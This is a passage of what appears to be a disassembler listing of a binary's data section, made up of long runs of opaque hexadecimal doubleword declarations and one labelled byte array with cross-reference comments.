		dd 0B8EA9CFCh, 817F0F81h, 2D8FC8C9h, 3B662200h,	3A01F81Bh
		dd 0B28CBB1Fh, 19ECCDFAh, 0A4700009h, 0ED6487Ch, 3600EF88h
		dd 0E50FE094h, 7F642FBh, 114B90A2h, 2D492079h, 0C100A0D7h
		dd 0B632826Bh, 0B7F2AAh, 729B55D0h, 3C30E368h, 3F78FB17h
		dd 25DA8B00h, 0EEC34B96h, 0F97C0CA9h, 57507FE5h, 48CFDE00h
		dd 49029333h, 4A6A0CD1h, 1130785Fh, 0FAE96224h,	0A19C803Dh
		dd 5170EF84h, 15770006h, 216FAD17h, 0C1F95E64h,	47198050h
		dd 0B9FAF6C6h, 0BE4503C3h, 8CF756D8h, 0E9442DC8h, 502B4D30h
		dd 58420BD0h, 10605519h, 0F48463D8h, 0C0FC6906h, 7F05811h
		dd 0CC504A96h, 0E0A31014h, 0FE0C7684h, 706770F6h, 624C1F4Dh
		dd 103A801Ah, 161E018Ah, 23E951C0h, 6ABC30Ah, 0CD276ED2h
		dd 4851024h, 187DAC1h, 47EC108Eh, 0DF1DE4E0h, 7100ADB6h
		dd 0C17F3B0Ah, 1DB5D31h, 0CDBB6A99h, 88D701EBh,	88ACEA29h
		dd 588BFF1h, 886A9066h,	74FB41DEh, 65D10132h, 12D30D11h
		dd 50E827F2h, 2C9FFDE0h, 9934A200h, 2FB0AE18h, 0D6740340h
		dd 0E51B51Ah, 86A4B4B8h, 0B9EF300h, 0CD886735h,	0D23903FBh
		dd 0A0DBE88Fh, 0A6595DB0h, 0DAE2CA07h, 5C0EFF6h, 0F0372C87h
		dd 6DF000A2h, 47AE7562h, 291E6660h, 1F009A89h, 6508F17Bh
		dd 98B00C2h, 26168D45h,	9A0755E8h, 37EECEFCh, 5B56C0CEh
		dd 29D2C25h, 2642A9DBh,	0CCA08E43h, 0CF0FD3F1h,	39376A00h
		dd 0D1C6F9DEh, 65361CCCh, 45B0809Eh, 1E8226D8h,	0B41D0200h
		dd 0E5866D50h, 0C47B7Bh, 0BD28394Bh, 0B93F9F5Fh, 5715C200h
		dd 8D46E581h, 39060105h, 43C9D491h, 0CEC3D226h,	0AEA47800h
		dd 6A837B53h, 0FA1C00D5h, 32BD13A1h, 353B28B1h,	7C8E00A3h
		dd 0D9C6B9EFh, 0DB30004Ch, 8D857E34h, 4F004991h, 59A69FF4h
		dd 3F1502Eh, 78777571h,	0CDEB9A4Eh, 49B11000h, 9BF7BB7Ch
		dd 0FD98012Eh, 0E8E4D8F1h, 0DF6E206Bh, 25009572h, 0C09D6777h
		dd 0E87B941h, 1837E3C4h, 0C71EA340h, 43D9B02h, 0A46D0074h
		dd 0D160E69Ah, 4E930183h, 0B6590AD6h, 4CCFE42Bh, 0AD8A680Fh
		dd 0DD12A382h, 9C38987Ch, 24D2095Dh, 0D980C506h, 0B53FB8B4h
		dd 0FCE62F0Fh, 3B66F89Fh, 88729Bh, 5A91D882h, 0B8E143Eh
		dd 661B5B00h, 3A556FCBh, 0A5960031h, 4C25F2EDh,	0BF007608h
		dd 70B1BB7Eh, 0AE4835h,	3CC66803h, 5E725D69h, 0CB97B200h
		dd 21FE3164h, 73A500C8h, 0CF3B0886h, 6F0FA694h,	0C417786Ch
		dd 12809E87h, 7F0A6Bh, 0EF511F6h, 27AD2556h, 0D7A24905h
		dd 9805A4Ah, 37C67D2h, 2D6A15Eh, 0ECB84DCEh, 0DA03F48Fh
		dd 6C742BFBh, 411BC81Dh, 0F4625468h, 80850449h,	9036B23Dh
		dd 4FA67304h, 21A23Eh
		dd 0A0454CD0h, 535B81F2h, 310E689Ah
		db 0D3h
byte_530055	db 12h,	0E0h, 10h	; DATA XREF: ___:off_43811Co
					; ___:off_438134o
		dd 0C07D5F53h, 8049E101h, 6CC37A54h, 0C13DD060h, 4ABCE0E0h
		dd 0E46D80Dh, 1AD34F00h, 0AD66499Ch, 0FD4100CAh, 3D046474h
		dd 700099E5h, 1384D372h, 45C56Bh, 37316168h, 0E7DB11D8h
		dd 14D0DC00h, 0BE7DE0ECh, 974600AEh, 0C7B51B60h, 99002FCEh
		dd 20D56E9h, 18B3DCF4h,	8E3B38D1h, 580FB7A6h, 7DEA4E40h
		dd 0B8902818h, 6DE02Dh,	42AB4C82h, 9558A6BEh, 311A8F00h
		dd 3B76AD29h, 0DB6900D7h, 122B1182h, 562C88D8h,	0D011B4Eh
		dd 781A47BEh, 381943C4h, 0C380A47Dh, 0F8DA94E2h, 0CE004D54h
		dd 271017B7h, 9B7145h, 5039A60Dh, 66975B37h, 1AE81100h
		dd 952C1C85h, 3B71FAh, 0FE589A4h, 4306F2F3h, 8C233402h
		dd 43E1E9E8h, 0C3E2C073h, 4300093h, 0E50B524Eh,	9E00EBF8h
		dd 76220F15h, 37CD53h, 0D61E1191h, 85DD795h, 0A5DA8B00h
		dd 38506C45h, 3A4F012Eh, 92D6F322h, 0FEB64033h,	470060F4h
		dd 98A057C4h, 0C1A8B8Dh, 0CDC546F1h, 0D8030761h, 7F561477h
		dd 41D38082h, 0D1DF14D7h, 5D00FA58h, 0D55726DDh, 0D0A19E6h
		dd 0D910F7FFh, 0FBAB6F02h, 0DB017D0Ah, 0DC342F39h, 976B7E4h
		dd 0CBAD7100h, 0A5AC7370h, 0C3F700DFh, 3C646ECCh, 0B0029D91h
		dd 0F2971D09h, 0C807FE5h, 7BE9BF05h, 0F742DD1Eh, 0CEACC7C0h
		dd 716101h, 0B043DB0h, 691DD82Dh, 0C91CF173h, 33C0D7F5h
		dd 0F24C0985h, 287D0089h, 0B882C10Bh, 0E5004B61h, 1BA6E896h
		dd 369872Dh, 27B9514Dh,	0C8A0B82Ch, 0D8000ACAh,	3C943E37h
		dd 7CE8CD0h, 334A5E46h,	0EC5A0030h, 627DD2A7h, 9AB60300h
		dd 0CE0827C7h, 0C2DE000Ah, 5C962C59h, 0E1005148h, 0A3AE4CA9h
		dd 253CAh, 0D901A2ADh, 0FF5F2274h, 0D7800614h, 7DB107D4h
		dd 0BC86FA14h, 97FB005Ah, 1F50DF6Dh, 4507FC19h,	7CC9E95Bh
		dd 0A925460h, 0E41D0FF4h, 75A3EE76h, 95F008D7h,	60024250h
		dd 0B43E8B34h, 5B8C8093h, 3B1C6DA4h, 72A6DE09h,	0A2BE003Bh
		dd 394CF69Ah, 4FC53Ah, 30E6B6E9h, 7DD5A2Ch, 0F24214B7h
		dd 9821094h, 0EF001D5Fh, 791134Ch, 74B8FBh, 0DAB163A8h
		dd 677ECD15h, 698BD500h, 1FBFC238h, 90E27B82h, 0F784Eh
		dd 0AF144E76h, 0C1AB9684h, 59CAD116h, 2494B900h, 10383Ch
		dd 6F476A54h, 1789DA4Fh, 0C5E23D00h, 36E1F9E9h,	0C27008Ch
		dd 64DFB3F1h, 2E3CF653h, 0AA3D136Bh, 9F153A00h,	2547E8h
		dd 6611634Dh, 918E2D5Bh, 0EFAA9A00h, 0CD723F4Bh, 0B75E1645h
		dd 41C600E7h, 5DECAB13h, 7CFE5B1Fh, 1BC001DFh, 0F5067B75h
		dd 0ACAE5AF4h, 4B5D0F47h, 0BB4A008Ah, 0AD7DAFBh, 88CE8EB3h
		dd 0DCB700EBh, 7464D30Ah, 4A7A2A2Ch, 0CA483900h, 56BBAB6h
		dd 806D16FEh, 96FC0075h, 0FD03A1FCh, 6BD9300h, 4D3321C7h
		dd 1DB8E48Dh, 0C05549D8h, 4F0FCAD0h, 9C006579h,	0D9072EFFh
		dd 9813B6E3h, 0B03D17DCh, 0D76E0315h, 98E19D8Ah, 35B440C0h
		dd 8EEC6F4Ah, 0DFF8F500h, 9C369B1Ah, 0F07BBCh, 0DBD074E0h
		dd 0D338B15Ch, 6B1EC100h, 0ECE99686h, 530600D9h, 167DFA7Fh
		dd 0FE383F4Fh, 450EF868h, 20B31C08h, 0B1A95DB4h, 2E750016h
		dd 91959F74h, 5600DCE8h, 0DDB7A0CCh, 24024E77h,	0C0BF42h
		dd 52D87FE7h, 100023F7h, 5D1C633Eh, 0D687B0h, 0E1406C51h
		dd 0F60F99A4h, 0C0E2EB00h, 6DCD1A22h, 3677A9Fh,	0DC5DD8D7h
		dd 0EE0A22Dh, 0C8009B52h, 5F7D4833h, 3E8E2A6Dh,	0A880A082h
		dd 0F1D080Dh, 7138C097h, 94170048h, 0B69CA3ACh,	0C97DD2h
		dd 0E19DED2Ah, 8ABAE701h, 1EFB0300h, 52938F2Dh,	0CF200A4h
		dd 5872C299h, 0E17490A3h, 24AF100h, 0E334F356h,	6BAE0CE0h
		dd 6DE87583h, 2B36A213h, 18852803h, 15EDC853h, 8DB607CEh
		dd 0C058F847h, 9FB9603Bh, 9926C800h, 0CE54714Bh, 5FC1B552h
		dd 6E41FC55h, 0CB3E5304h, 0CC013A6h, 145A89Eh, 0FE5CDEC2h
		dd 306CBA82h, 0A900689Fh, 5393FBF7h, 1FDD9A55h,	108ECCAh
		dd 51FA31E7h, 0D8A7C0CFh, 1BD0AE07h, 70007718h,	48277CC0h
		dd 0A80014BAh, 9F427D50h, 3960A59Eh, 1086F470h,	0C6C00B1h
		dd 56EB75F3h, 0E0E35C9h, 450DE7F5h, 9C810778h, 646244A2h
		dd 0F4504C38h, 63800025h, 408831D8h, 6B03D6FDh,	0C7D2EBABh
		dd 902CC0D7h, 0C3820083h, 44552563h, 9205A909h,	86FC7019h
		dd 36A68080h, 122D004Fh, 88D07647h, 175001FDh, 39075198h
		dd 0B3429EA4h, 0F6FF4C90h, 2D6228CBh, 4D320780h, 504F4967h
		dd 0F157BF27h, 0BB265F01h, 0D0E8D6DFh, 761E98FCh, 7D2F0061h
		dd 17E97519h, 3800A991h, 43568695h, 924A6121h, 52A22660h
		dd 12C7077Ch, 0C3D7A074h, 43245E44h, 75836CBDh,	0F8A38CEEh
		dd 0AEBA05h, 0DB075098h, 9A6E76CFh, 96C73F0Eh, 0C4BD20ECh
		dd 901F428Dh, 243B0060h, 0ABB627CEh, 89900AA4h,	6D785E00h
		dd 8C3A6459h, 1F29889h,	9A714AD8h, 0EC703C34h, 0AF000492h
		dd 10207F60h, 5D818967h, 22C02844h, 9CB2EA45h, 9AD06C1Dh
		dd 0CF87A100h, 3E820B7h, 18BA7AC8h, 0BDCA8473h,	0E4427542h
		dd 0A88BFC60h, 0F545C800h, 53662BB9h, 82D05A4h,	0B8C174D6h
		dd 0D1E60E02h, 0A2AAE027h, 1CC44FEh, 7CE7065Ah,	202D1DBDh
		dd 3400C214h, 32771547h, 0FC8C58h, 462E67Bh, 45F167EAh
		dd 0E1497000h, 0A92A4DC3h, 9960047h, 10DAD311h,	5D006F98h
		dd 0D2E47BC5h, 7FA7055h, 16785F0Ah, 751C1095h, 0F4391F13h
		dd 3D8E809Bh, 9141E4F6h, 95F950CFh, 0F2C207A1h,	20BA7DC5h
		dd 0A392D858h, 95117C91h, 90844FB8h, 0DD193E9Ch, 1BBF1200h
		dd 89F1C1C9h, 0E4EED400h, 80390661h, 0B3501FFDh, 1FCE9FB7h
		dd 201641A5h, 0EC864F72h, 41701997h, 15E5A900h,	0AD28656Dh
		dd 5AE100E6h, 0CC38E06Ah, 0A7002913h, 357C20DEh, 0E46159Bh
		dd 0E3BC752Dh, 1B76DBE0h, 176047E6h, 0E809A339h, 0BE2A02D1h
		dd 21919034h, 0B71B480h, 0D50BFD72h, 6AAAD4h, 90959270h
		dd 0BAC80FF3h, 1C2920h,	5BC2D768h, 6300496Fh, 0AEC59C26h
		dd 7D397D8h, 84FD6DE4h,	0F9E1F0DBh, 0A700BA8Fh,	0EF141EC2h
		dd 558A610h, 45B860EBh,	0F94002Fh, 1F85A5BBh, 8E303Ch
		dd 0A23B6170h, 28274A7Ch, 3FF0C31Bh, 1900FF53h,	6F9A0C03h
		dd 90459FEh, 9499B580h,	79EBA4C0h, 0A1A200FCh, 37504857h
		dd 350062CFh, 0E0D2AADCh, 2F97A5h, 83873109h, 4B82584Fh
		dd 0F289F0A8h, 2CE7DE26h, 60C0C301h, 0B42806DAh, 63B89B01h
		dd 2040282Dh, 0D0049AEh, 0B2B38D66h, 34391A4h, 0EAACE91Eh
		dd 8498656Bh, 0ED00F445h, 32EBD408h, 736FE7B1h,	14970169h
		dd 2B096EEh, 83B020FDh,	0D7009579h, 21F21F5Eh, 57C0655h
		dd 24C5C97h, 0EA900408h, 28DC9043h, 10007AEh, 849A236Bh
		dd 0E02D36h, 0C55AC80Ah, 817F1A27h, 0B9E75307h,	70F2DD92h
		dd 9E886039h, 0C394047Ah, 0C015893Ch, 2192B8B0h, 0A5DAC201h
		dd 0C54DD8B1h, 335470h,	0F7F288CDh, 14DC5516h, 7C4648h
		dd 0BFEB3926h, 6C3D1EFh, 6238E78Dh, 83986ED7h, 0A303020Eh
		dd 0FA3C0066h, 4E5544Fh, 5298BF64h, 74A896FEh, 77829E00h
		dd 5DCFA5CAh, 0F8E50006h, 1C342027h, 721DD990h,	95004B6Bh
		dd 0C34E6933h, 4DF63BC5h, 18939880h, 68DE7FEDh,	2DA5F05h
		dd 0ECC0E566h, 11779Eh,	759D813Bh, 0C6B747D1h, 9199011Fh
		dd 7C046692h, 0E0B01994h, 1D281412h, 7C7BACDDh,	94C3FB6h
		dd 130B8E80h, 1CC4B527h, 0CFBC7A03h, 98BAF95Fh,	71D30DBh
		dd 9C67E7D1h, 0D8BFA0A2h
		dd 35070A98h, 0A9D08FCAh, 5BC39141h, 0F900CC22h, 448C7F7Eh
		dd 2F1EE310h, 3280D116h, 0D0066036h, 371A00F3h,	7D6D7657h
		dd 90B9C6Bh, 0FBAC16h, 17B52851h, 7D50098h, 49997160h
		dd 0DE007C24h, 68DDCBB7h, 75C4F0A8h, 13B000C0h,	679382B6h
		dd 30398D85h, 33600191h, 0B93A10E0h, 182BC0h, 3F00716h
		dd 6BA7DC22h, 1C949B07h, 0F3607A34h, 4CD491h, 0F2FBF4EDh
		dd 0FD22F737h, 5116BB00h, 0EF822F29h, 1B732A34h, 789E0BE8h
		dd 9500C46Fh, 9ABBB383h, 6200D5E2h, 97CD0925h, 3852BABh
		dd 0DF997A44h, 8380E50Dh, 24002CF2h, 8EA9362Eh,	586392h
		dd 452A7AF9h, 0AA38485Eh, 5BD18500h, 8498E2A0h,	254A0166h
		dd 1FED90D6h, 6078C1B0h, 0DC1DADBCh, 9030260Bh,	2D1F0CFh
		dd 0D29E1636h, 2F43B006h, 21022BEBh, 3777DDA5h,	81C06BEh
		dd 1AA0CE18h, 0F82E1DD0h, 360D00A3h, 47F51F69h,	0D5006A58h
		dd 93CA8DD7h, 418F28h, 78BC20DDh, 0F5870F55h, 0EC683C00h
		dd 0FDB0930Ah, 0ADE500E0h, 66D38AB7h, 71EA6BFh,	833CAE88h
		dd 689C0B8h, 54A3D8BCh,	0B55300C9h, 7039DFB6h, 56F0D5B2h
		dd 0BFD9E7h, 0F3363A02h, 3737E8BCh, 41BBC7D9h, 4066D4D1h
		dd 964F214h, 5200ADE2h,	9A698D36h, 0D5FA0Bh, 42B87E75h
		dd 0B419449Ch, 20079F0h, 53A51C5Ah, 3AE0A1AFh, 7F9D539h
		dd 63A4B167h, 0FB40CE2Eh, 209388EFh, 43CCF7Ch, 4078014Ah
		dd 44827A8Fh, 3701B30h,	0BBFC7251h, 8798416Fh, 0BD074FE6h
		dd 5BB807D0h, 0CB431DEFh, 0E234715Eh, 7C0B608Ah, 199778Fh
		dd 0AF1B744Fh, 0FC7A176Fh, 2800CB31h, 84CAC9BEh, 7C6B5795h
		dd 75600ECEh, 0C42091FBh, 9D77F1D4h, 0F0C9ED02h, 0C8B84C5Eh
		dd 0E4F3B8h, 0F7551BA6h, 6B26CCA5h, 0D1DDB700h,	12F531D3h
		dd 73D40506h, 40CE0F4Eh, 7FE1BC9Ch, 2B00E5C9h, 5035543Ch
		dd 0BD6E2Ah, 58CA5EDDh,	72D3947Dh, 68ACE330h, 0F7680F61h
		dd 0E38D5F8h, 0BD1B99CFh, 89B6F626h, 3B00E471h,	23B94C2Dh
		dd 0A73EF5h, 89BCF835h,	0D1D52439h, 4652ED03h, 0ADF3BDC8h
		dd 3A9FF047h, 0EE5800C9h, 0DA2F87h, 1F9124D9h, 0C6EBAC25h
		dd 183D61C4h, 54A0C090h, 0B0EF0098h, 0E29701Fh,	0EE1FE1D0h
		dd 0FAA769h, 3AEB016Eh,	9262F226h, 64C00098h, 88CA9456h
		dd 0BC900BF9h, 423BEC0Ah, 0AC034455h, 0C04F7350h, 692A39h
		dd 0A19790F7h, 350E322Eh, 19A7E100h, 31E5F312h,	46B01C1h
		dd 11910F02h, 4395C878h, 0E2C0AA00h, 0F55F1985h, 1B40C78Ch
		dd 2C835E0Fh, 6BB8ED8Bh, 0AA0E194Ah, 405242FEh,	8ED6FC96h
		dd 82A830E3h, 0AA510229h, 7E28D001h, 0C86FD3C0h, 0FD971880h
		dd 391B8E3Ah, 0F3B64707h, 18B0DB2Fh, 1864B766h,	588BD540h
		dd 3FAEC91h, 46399F60h,	7D182E61h, 0D15F0556h, 20041BC7h
		dd 7922334Ch, 8FF6200Eh, 42805FBEh, 993DE60h, 478E00D7h
		dd 0DFBB0666h, 9C610FDBh, 7AB09D59h, 791BC1D4h,	6C28A8A2h
		dd 0C3B30061h, 0EAF81777h, 4000B78Dh, 508AA9ABh, 188B2BFFh
		dd 48A82487h, 7300419Ah, 0F6D9B04Ch, 0FA6B3A82h, 0AF50061Fh
		dd 103B777Eh, 0B0047557h, 0C06F7768h, 0A3139310h, 4B0058BFh
		dd 6C89089Fh, 841C90h, 0D368B214h, 927806E6h, 0C06449B8h
		dd 454FCB28h, 6E4DA840h, 2D00C7E2h, 0D774C91h, 882287h
		dd 398FD1EDh, 5D93EB94h, 5E153Bh, 733E57F2h, 0E25C9Ch
		dd 8CB71855h, 0C3D5F322h, 15426300h, 7339F656h,	0F5F00065h
		dd 2AFB161Fh, 0BF004B75h, 62900886h, 791DFA0Ch,	41D0006Dh
		dd 2CA6EA61h, 0E601E830h, 75791CE9h, 768004FCh,	356F578Eh
		dd 0E100C7CEh, 28BA7801h, 96EFF9h, 4466AACFh, 0F860A3CBh
		dd 250C8000h, 56EA0AFBh, 9FCF1E0Eh, 0E0DCF6h, 97593316h
		dd 3201BD11h, 0C5DAA4CAh, 0AC40AEA0h, 58643F05h, 0B800B85Eh
		dd 94E67D54h, 0FB004E5Dh, 0C58BE4F7h, 3BED69Dh,	5A7187C0h
		dd 0EEE090E0h, 65F0C4C1h, 150FF500h, 0C05F1347h, 0DFC6008Dh
		dd 97AEC926h, 0F639A7E5h, 848C3F24h, 0BD63D46Bh, 53B80BAh
		dd 9C00F0CEh, 0D9FA11Bh, 76BFD2Ch, 0D5AE20E9h, 0A90FB08Ah
		dd 0A000E877h, 82DA9B0Eh, 4C4687h, 127E6343h, 42B1A874h
		dd 0E6C81300h, 0FC4517ECh, 0D0CE1DBFh, 37D600D4h, 9E1E2AA3h
		dd 0B401FA74h, 0AEE1A9F4h, 24213435h, 9856F0h, 0FFBC3255h
		dd 0A29BE22Ch, 0F1540A00h, 8FE9E557h, 84C403ACh, 713103Ch
		dd 32B099E8h, 8348313Ch, 0F1681256h, 0B65E90D8h, 294B13E8h
		dd 1C0EF8F9h, 63D4AF4Fh, 2E051F85h, 0E061154Fh,	34546CD0h
		dd 0DF09003Bh, 5EB91F11h, 0B300FEFDh, 0AD462AA0h, 2C0DFF66h
		dd 0AC393h, 71D37A27h, 9A01D7B8h, 850A9F22h, 3180059Eh
		dd 0FFC70F94h, 27125567h, 480074E6h, 0DF87046Dh, 5B030CC6h
		dd 0F919E551h, 0C852B500h, 0FE91B19Ah, 1C53026Ch, 64DFDDB2h
		dd 0A1DB0C48h, 8A7AC00h, 9E3498B5h, 7FF372D4h, 72D600BCh
		dd 6391F62h, 2000457Dh,	83427773h, 874B0Ah, 8AE446A8h
		dd 683DE944h, 92C04AC0h, 1E2CBC41h, 0C0F35E10h,	3035DF74h
		dd 0AB70EE37h, 6D6C1E03h, 3F2CCCh, 4D050828h, 5A87AEF7h
		dd 461DBB1Dh, 54512BC0h, 18E98C63h, 0B1C1AF85h,	0F40092F2h
		dd 3305932h, 0A4C553h, 38722297h, 4749BAB9h, 0CED6EF00h
		dd 21BB6463h, 3F5C009Ah, 4EC73C0Dh, 0F0020B9h, 4842F1F8h
		dd 0BA19D9h, 0F32D5709h, 35F2FC0Ah, 6190EE3Ah, 0F57C2420h
		dd 0E74CF4h, 0AA7719Eh,	560F31E4h, 0DE181400h, 7951D0DCh
		dd 0EE02020Dh, 0F4200AF2h, 495602E0h, 0B408A404h, 0D0817363h
		dd 74343303h, 8CA4EEh, 9EBFDE3Fh, 629A202Dh, 0F06FB025h
		dd 4D321C23h, 0CD9B00B9h, 0DA824965h, 0FDCB0400h, 51FE7647h
		dd 8E9801EBh, 7D9614DEh, 3A59E4B2h, 0C4344Dh, 0EBC1AC4Eh
		dd 0BE6C30h, 4810C8AFh,	2AE8AEDFh, 3A8683Eh, 761522C5h
		dd 0C1DEA3B5h, 9BECFA2Bh, 19EC054Fh, 0BF0E65h, 6053C084h
		dd 2606A992h, 339076F4h, 63150018h, 0A346CEB7h,	0F00400Dh
		dd 7D8A6192h, 1846AFBh,	39389F80h, 0C0DDFAB1h, 631FAA54h
		dd 80FD4382h, 0CC3BEE7Bh, 500130ABh, 9E4EAh, 0C7876302h
		dd 93419D95h, 0C727A00h, 0A6AA7DFBh, 62051DE6h,	8008640Ah
		dd 87CA41BBh, 390E5506h, 6CFF8113h, 4FD9B5h, 0E34CBF43h
		dd 0D372A585h, 0BF621738h, 0FAA680EAh, 21AA82A9h, 86302C9h
		dd 0B2E097F5h, 60B04C49h, 9900ACEAh, 5916FEFh, 8C9F66h
		dd 154BEE64h, 752EB6D2h, 0A1551100h, 0F419724h,	89860CA0h
		dd 0C811FB59h, 73CCC104h, 0AEC76F3Eh, 0A4C4DD34h, 0F0342583h
		dd 7E25D84h, 0D2690398h, 4632C044h, 2E079D30h, 661077B2h
		dd 8D637811h, 5EFFCC0h,	0D1AF1656h, 0D5C1BEF9h,	31C96785h
		dd 844D2C20h, 0B8533024h, 1D3F3FBDh, 4E008310h,	0D61B968Dh
		dd 0F3F89DD5h, 0A20EBE79h, 40A6C042h, 0CAE44113h, 42AC586Fh
		dd 532D9802h, 0CC48738Ch, 7500F8EEh, 95964A60h,	0E35A7Eh
		dd 3764B69Fh, 834CE41Dh, 1692DD00h, 7962B3D9h, 0D029185Bh
		dd 0FA76184Dh, 57840F00h, 0A11683Ah, 8C5B0091h,	0E010982Fh
		dd 7C0C7FFEh, 8524C90h,	0B65409C9h, 3480A923h, 6537D5D8h
		dd 800A7300h, 1F6F79A8h, 0E172008Dh, 5F247A3h, 0F7002B61h
		dd 0DDD1F811h, 222942Ah, 7B6F9F28h, 50603753h, 9C003E34h
		dd 0A0C97059h, 2F1FA20h, 0A75E33A8h, 0CF87D648h, 3A88AE9h
		dd 0AFD8733Dh, 3C60F6FAh
		dd 1B751E5Ah, 84389A78h, 352A0063h, 0E55E8548h,	74FECEh
		dd 8BF30533h, 945DA770h, 0EFD43F00h, 2622591Ah,	0E48F00FFh
		dd 3E3DAA7Fh, 9E24DC5Ah, 53040EB7h, 0DCC11410h,	806B3725h
		dd 0E4B26338h, 8C6E5Dh,	996F5AEEh, 1DEC1F93h, 1F9189CFh
		dd 6D800B0Eh, 0F6B4A0A0h, 701DD86Eh, 401DD1CCh,	3A90CD06h
		dd 18F26F20h, 0A99F5A00h, 3578BC6Fh, 6D81EE07h,	58C0043Ch
		dd 422B25h, 0D959967Dh,	3206B323h, 5985744h, 0B4A98A14h
		dd 6A4C00EFh, 0EC5D572Eh, 0D6F748C0h, 0B19CC1h,	9D45BFB9h
		dd 9F7743C6h, 1CDA5001h, 9BFA5310h, 2A448087h, 0DF5CC0ABh
		dd 53A1DF5h, 198AA4A3h,	0B5D3F100h, 0E5D1CAh, 0ECF526DEh
		dd 0B36C9C53h, 5038D01h, 24C5A6B6h, 3C8BDDCh, 6EC37547h
		dd 99036310h, 173438Ah,	2835A022h, 64AD2404h, 54580002h
		dd 898D3A97h, 0DD717E01h, 444F836Ch, 1BD034h, 0D9C9E552h
		dd 0BA69CFD0h, 48C4AD3Ah, 0E55940Ch, 602A51E4h,	0AC9D3585h
		dd 10E23B58h, 574F50E3h, 60D02800h, 0A7666C11h,	2D78C0D1h
		dd 3E378632h, 7840B24Ah, 13813DE3h, 9511C06Ch, 669F28Dh
		dd 0AF029275h, 0AC5901F0h, 0B850B9h, 2BF294ABh,	3E6467EEh
		dd 983D4903h, 643128E3h, 60845058h, 235CF28Ch, 9818AA06h
		dd 93AE21h, 5AE508F2h, 7922BF4Ch, 0E286E49h, 13866252h
		dd 3DEBAD05h, 0BD409040h, 5D18A36h, 9577766Dh, 0C8680049h
		dd 967F82D3h, 3721FB03h, 0A31EAB2Fh, 6E2100A7h,	628682FDh
		dd 0B6185AB7h, 43C0E51Dh, 6454022h, 554A7E00h, 9BB6C278h
		dd 65DC09BDh, 64071F89h, 998531E5h, 62A3FC05h, 0B0F19300h
		dd 0B48A27B2h, 0AB240049h, 0B31A954Eh, 2077207h, 48E59619h
		dd 62E378C0h, 8135002Fh, 2115E023h, 0D603B3D4h,	0BD9E529Dh
		dd 0E3D3C070h, 1E7E0151h, 0BC5A7572h, 3BEBD041h, 7C3ECD01h
		dd 0E7F12C99h, 8E1D8480h, 39901A98h, 0ED0DC800h, 668F26C4h
		dd 0CFA43B50h, 49C7AC80h, 0B481257Ah, 938D9705h, 0F0C09AA7h
		dd 3ADF39B2h, 0C1835AE2h, 0F91CAA65h, 21420830h, 1E306D6h
		dd 0ED8E26D5h, 0D8EAAF81h, 4F401BABh, 0FCBA0699h, 603DD620h
		dd 919A0505h, 2280F7F3h, 1869BB9h, 0E499AE8Fh, 0E7136521h
		dd 8CFA3900h, 0C0B88407h, 0A1A0194Ah, 81490888h, 7B4E121h
		dd 0DB406AB9h, 7F8A43Eh, 47AD55E5h, 29509653h, 0FF009A7Dh
		dd 0DCF53F9Ch, 1843F08Ah, 212CB4ABh, 700AAC2h, 5681E076h
		dd 68813h, 3014893Ch, 91506C7Fh, 18C7FB03h, 239BA64Ch
		dd 970074A8h, 98B88307h, 3D44864Bh, 7BF01ECh, 41316A6Dh
		dd 2BB44CA2h, 2D322118h, 3CDB210h, 0B0E5FE26h, 1AE011DAh
		dd 55009225h, 68A9B9Ah,	70B1851h, 0D668BCAh, 692FD004h
		dd 4800D0C8h, 0FF381672h, 134A3D5Eh, 0C27F17h, 0EAB9354Eh
		dd 0D000A73Bh, 4EF074AAh, 391D6121h, 5E00C747h,	79027AA3h
		dd 0A600580Bh, 0B215DACBh, 5852277Ch, 98006250h, 7590228Bh
		dd 2F00696Bh, 76EA80A4h, 38DB08h, 0DE0A2E3Bh, 0A611484Ch
		dd 51013E0Fh, 5800FDF4h, 5B2A0E84h, 34B000B8h, 0AB5549F0h
		dd 300FF485h, 83900792h, 0E02C5BB6h, 1C1B3D4Bh,	81025C33h
		dd 45CF0FF2h, 0ABFEC879h, 1466EC00h, 3B23F1Dh, 5C51071Bh
		dd 475A844Eh, 85808B05h, 1873F1FCh, 0D62F281Eh,	5FFB08B1h
		dd 0C5982080h, 2A467BFCh, 0AE333200h, 26E97C0Fh, 0F460C461h
		dd 51701F34h, 3C9A335h,	84817B40h, 0C1C7B77Ah, 0B272949Ch
		dd 304A8028h, 0ED08FCA0h, 6E27B873h, 0B99C0051h, 366ABEFCh
		dd 6B7EE50h, 947C0684h,	68885076h, 104CB4C0h, 0E7AC00D6h
		dd 24D77C82h, 87F63E5h,	2000C334h, 44AC29A7h, 30CB1BC0h
		dd 9F384217h, 471DEB62h, 6F003703h, 0F6EA5E41h,	0A8280050h
		dd 845659E9h, 4C2612C3h, 0B400402Eh, 642DB782h,	70760015h
		dd 0A813D514h, 0C31E5326h, 6A43C636h, 886E98DEh, 9522BF3h
		dd 0D5CDD6B9h, 0C4003FF6h, 0D820F2E1h, 7C81C2Fh, 432D1FF5h
		dd 8C1471BCh, 0F0B0FFFBh, 8A008F89h, 8884A231h,	2CCDFC45h
		dd 0D447DBh, 5440F291h,	0CE003D5Ah, 1E552280h, 38EE603h
		dd 88BAD69Eh, 39E06C43h, 0D407E069h, 240F309Bh,	0A1F3E160h
		dd 2AD50009h, 68C0DA14h, 0A074A5D7h, 6201DFF6h,	2D1F43C2h
		dd 0C3EE3C93h, 630818E2h, 9638205Ch, 8954300h, 7F858846h
		dd 0A7061825h, 533741B2h, 34C5E11Ch, 26E4FE80h,	47C35Ah
		dd 0ECAD01D4h, 4C4B8139h, 0A1DFD101h, 0B578A19h, 7ACD82F8h
		dd 4880E970h, 0D91D98BFh, 440CE604h, 88FB21Eh, 1C21C033h
		dd 897E1DDBh, 7859D437h, 0D14D88C0h, 0E57006Bh,	45E307FFh
		dd 6218B5EFh, 4438CCA1h, 39AA0C20h, 0DF49DA1Ah,	60BC80A3h
		dd 231443CFh, 0F1189B2Dh, 197C521h, 24335D43h, 47AB7CCEh
		dd 0DAC0C860h, 4604E31Dh, 33022F6h, 911DF272h, 1FA84E80h
		dd 8E060AB6h, 574DDA05h, 58FED1h, 6F18CF45h, 0FA327DE4h
		dd 751D55F4h, 9C56022h,	0CAADC0Fh, 48E8A081h, 0F8539D00h
		dd 0E6EDDDD2h, 2D190B7Fh, 94A0C755h, 782C1D6Dh,	9F53Fh
		dd 6EB39422h, 27B1FB72h, 0E27E8CDBh, 55F4FA00h,	0F0257E7Ch
		dd 27790012h, 3C9DC815h, 7001D31h, 817C9774h, 3CD26E3Fh
		dd 380067CFh, 0C42FD3AEh, 170099C3h, 14B70720h,	0F84536h
